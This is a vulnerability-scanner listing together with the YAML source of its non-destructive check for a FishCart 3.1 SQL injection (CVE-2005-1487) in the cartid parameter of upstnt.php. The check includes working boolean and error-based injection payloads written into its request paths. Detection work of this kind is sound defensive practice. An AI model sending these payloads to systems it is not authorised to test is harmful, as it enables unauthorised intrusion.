FishCart — 1 vulnerability check
noctis ships 1 vulnerability check for FishCart, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
FishCart upstnt.php cartid SQL Injection
| CVE | CVE-2005-1487 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/fishcart/CVE-2005-1487.yaml |
FishCart 3.1 puts the `cartid` parameter of upstnt.php unescaped into the WHERE clause of an SQL query on the order lines table, allowing unauthenticated SQL injection.
This check first loads upstnt.php with a random numeric cart id and confirms the page answers without a database error. It then proves the injection with three requests whose cart id closes the quoted value and adds a condition on the sum of two random numbers: a wrong sum must make FishCart print its "Invalid SQL" database error, the right sum must not, which shows the database evaluated the injected expression. When that boolean test cannot run (for example on databases without subqueries), a single quote after the random cart id that makes FishCart print the failed query on its order lines table, with the random cart id and the stray quote, is reported with lower confidence, provided the same cart id with the quote doubled gives no error. The injected condition matches no row: nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27%20AND%20IF({{sc.a}}%2B{{sc.b}}%3D{… - HTTP(S) request
GET {{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27%20AND%20IF({{sc.a}}%2B{{sc.b}}%3D{… - HTTP(S) request
GET {{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27%20AND%20IF({{sc.a}}%2B{{sc.b}}%3D{… - Parses / computes the next value with a Rhai script
- Checks
bp.foundfor^BOOL$→ finding QoD 97: Boolean SQLi confirmed on …/upstnt.php: cartid=…' AND IF(…+…=S,1,(SELECT 1 UNION SELECT 2)) AND '1 made FishCart print its Invalid SQL erro… - HTTP(S) request
GET {{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27 - HTTP(S) request
GET {{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27%27 - Parses / computes the next value with a Rhai script
- Checks
qm.foundfor^QUOTE$→ finding QoD 75: SQL injection: cartid=…' on …/upstnt.php made FishCart print its Invalid SQL error for the order lines query with the stray quote, while ca…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-1487
- https://marc.info/?l=bugtraq&m=111530799109755&w=2
- https://www.securityfocus.com/bid/13499
Feed source — tests/vulnerabilities/fishcart/CVE-2005-1487.yaml
# FishCart 3.1 — upstnt.php `cartid` SQL injection (CVE-2005-1487)
#
# upstnt.php puts the `cartid` GET parameter, unescaped, into
# select sku,qty from <prefix>oline where orderid='<cartid>'
# (Bugtraq 2005-05-04, "Multiple SQL injections and XSS in FishCart 3.1",
# BID 13499: upstnt.php?zid=1&lid=1&cartid='SQL_INJECTION). On a failed query
# FishCart's PHPLib database layer prints
# Database error: Invalid SQL: select sku,qty from cvsdemo31oline where orderid=''SQL_INJECTION'
# MySQL Error: 1064 (You have an error in your SQL syntax near ...)
# Session halted.
# The table prefix is chosen at install time ("cvsdemo31" on the vendor demo,
# "mwest" in the reference check, which only matched that one prefix).
#
# No FishCart source is public any more (fishcart.org is gone); the request
# shape and the error page come from the advisory.
#
# Detection (per candidate install dir):
# 0. Control — upstnt.php?zid=1&lid=1&cartid=R (R random digits) must answer
# 200 without a database error: a page that always errors never reports.
# 1. QoD 97 — boolean proof computed by the database:
# cartid=R' AND IF(A+B=S,1,(SELECT 1 UNION SELECT 2)) AND '1
# sent three times (S wrong, right, wrong; random 6-digit A/B). A wrong
# sum picks the two-row subquery and the query fails ("Subquery returns
# more than 1 row"); the right sum is a valid query that matches no row
# (R is no cart id). Measured on MariaDB 10.11 with an empty, a one-row
# and a three-row InnoDB/MyISAM table: the subquery is evaluated in every
# case. Error / no error / error proves the database evaluated our
# arithmetic.
# 2. QoD 75 — the reference check, generalised: cartid=R' makes the page
# print "Invalid SQL: select sku,qty from <any prefix>oline where
# orderid='R''" while cartid=R'' (the quote doubled, a valid query) does
# not. Covers MySQL < 4.1 (no subqueries).
#
# Better than the reference check: any table prefix (not only "mwest"), a
# random cart id echoed in the error instead of a fixed string, a doubled-quote
# control so a page that errors on any quote never reports, a database-computed
# boolean proof, and the advisory's /demo31 plus usual install dirs.
#
# Read-only: SELECT only, the injected condition matches no row, nothing is
# written and no data is extracted.
#
# CVE mapping: the issue lists CVE-2005-1486 (XSS in upstracking.php /
# display.php) and CVE-2005-1487 (SQL injection via upstnt.php cartid or
# display.php psku). This feed proves CVE-2005-1487 through upstnt.php; the
# XSS and the display.php psku vector are not covered. CVSS: NVD has only a v2
# score (7.5) for CVE-2005-1487.
#
# Credit: request and marker adapted from Greenbone's
# pre2008/fishcart_sql_injection.nasl (OID 1.3.6.1.4.1.25623.1.0.18191,
# GPL-2.0-only).
uid: dd586e29-415f-4021-a477-b1ec9d6eb391
name: "FishCart upstnt.php cartid SQL Injection (CVE-2005-1487)"
description: |
FishCart 3.1 puts the `cartid` parameter of upstnt.php unescaped into the
WHERE clause of an SQL query on the order lines table, allowing
unauthenticated SQL injection.
This check first loads upstnt.php with a random numeric cart id and confirms
the page answers without a database error. It then proves the injection with
three requests whose cart id closes the quoted value and adds a condition on
the sum of two random numbers: a wrong sum must make FishCart print its
"Invalid SQL" database error, the right sum must not, which shows the
database evaluated the injected expression. When that boolean test cannot
run (for example on databases without subqueries), a single quote after the
random cart id that makes FishCart print the failed query on its order lines
table, with the random cart id and the stray quote, is reported with lower
confidence, provided the same cart id with the quote doubled gives no error.
The injected condition matches no row: nothing is written and no data is
read from the database.
cves: [CVE-2005-1487]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [fishcart, e-commerce, php, mysql, sqli, boolean-based, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1487"
- "https://marc.info/?l=bugtraq&m=111530799109755&w=2"
- "https://www.securityfocus.com/bid/13499"
steps:
# ── Random cart id and operands ───────────────────────────────────────────
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let r = "" + rand_int(100000000, 999999999) + rand_int(100000, 999999);
#{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9), r: r }
store_as: sc
# ── Per candidate install dir (loop group) ────────────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
loop:
over: ["", "/fishcart", "/demo31", "/cart", "/shop", "/store"]
var: fdir
- id: init-f1-resp
action: set_var
var_name: f1_resp
var_value: {status: 0, body: null}
- id: init-t-resp
action: set_var
var_name: t_resp
var_value: {status: 0, body: null}
- id: init-f2-resp
action: set_var
var_name: f2_resp
var_value: {status: 0, body: null}
- id: init-qm-resp
action: set_var
var_name: qm_resp
var_value: {status: 0, body: null}
- id: init-dq-resp
action: set_var
var_name: dq_resp
var_value: {status: 0, body: null}
# ── Stage 0: control — a random cart id, no database error ────────────────
- id: ctl-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
- id: check-ctl
action: script
code: |
let re = "Invalid SQL|Database error|Session halted|You have an error in your SQL syntax|Subquery returns more than 1 row";
let body = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
#{ ok: ctl_resp.status >= 200 && ctl_resp.status < 400 && !ereg(re, body, true) }
store_as: ctl
# ── Stage 1: boolean proof — the database must compute A+B ────────────────
- id: bool-false-1
action: http_request
method: GET
port: "{{port}}"
path: "{{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27%20AND%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%20SELECT%202))%20AND%20%271"
condition: "ctl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f1_resp
- id: bool-true
action: http_request
method: GET
port: "{{port}}"
path: "{{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27%20AND%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20SELECT%202))%20AND%20%271"
condition: "ctl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: t_resp
- id: bool-false-2
action: http_request
method: GET
port: "{{port}}"
path: "{{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27%20AND%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%20SELECT%202))%20AND%20%271"
condition: "ctl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f2_resp
- id: check-bool
action: script
code: |
let err = "Invalid SQL: *select +sku, *qty +from|Subquery returns more than 1 row";
let any = "Invalid SQL|Database error|Session halted|You have an error in your SQL syntax|Subquery returns more than 1 row";
let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
let ok = ctl.ok && t_resp.status >= 200 && t_resp.status < 400 && !ereg(any, bt, true)
&& ereg(err, b1, true) && ereg(err, b2, true);
#{ ok: ok, found: if ok { "BOOL" } else { "" } }
store_as: bp
- id: report-bool
action: match
source: bp.found
pattern: "^BOOL$"
condition: "bp.ok"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Boolean SQLi confirmed on {{fdir}}/upstnt.php: cartid={{sc.r}}' AND IF({{sc.a}}+{{sc.b}}=S,1,(SELECT 1 UNION SELECT 2)) AND '1 made FishCart print its Invalid SQL error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
stop: true
# ── Stage 2: fallback — a stray quote breaks the query, a doubled one not ──
- id: qm-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27"
condition: "ctl.ok && !bp.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qm_resp
- id: dq-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{fdir}}/upstnt.php?zid=1&lid=1&cartid={{sc.r}}%27%27"
condition: "ctl.ok && !bp.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: dq_resp
- id: check-qm
action: script
code: |
let any = "Invalid SQL|Database error|Session halted|You have an error in your SQL syntax|Subquery returns more than 1 row";
let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
let dbody = if type_of(dq_resp.body) == "string" { dq_resp.body } else { "" };
let want = "Invalid SQL: *select +sku, *qty +from +[A-Za-z0-9_]*oline +where +orderid=(?:'|�?39;)" + sc.r + "(?:'|�?39;){2}";
let hit = ctl.ok && dq_resp.status >= 200 && dq_resp.status < 400 && !ereg(any, dbody, true) && ereg(want, body, true);
#{ hit: hit, found: if hit { "QUOTE" } else { "" } }
store_as: qm
- id: report-qm
action: match
source: qm.found
pattern: "^QUOTE$"
condition: "qm.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "SQL injection: cartid={{sc.r}}' on {{fdir}}/upstnt.php made FishCart print its Invalid SQL error for the order lines query with the stray quote, while cartid={{sc.r}} and cartid={{sc.r}}'' did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}} / {{dq_resp.status}})"
stop: true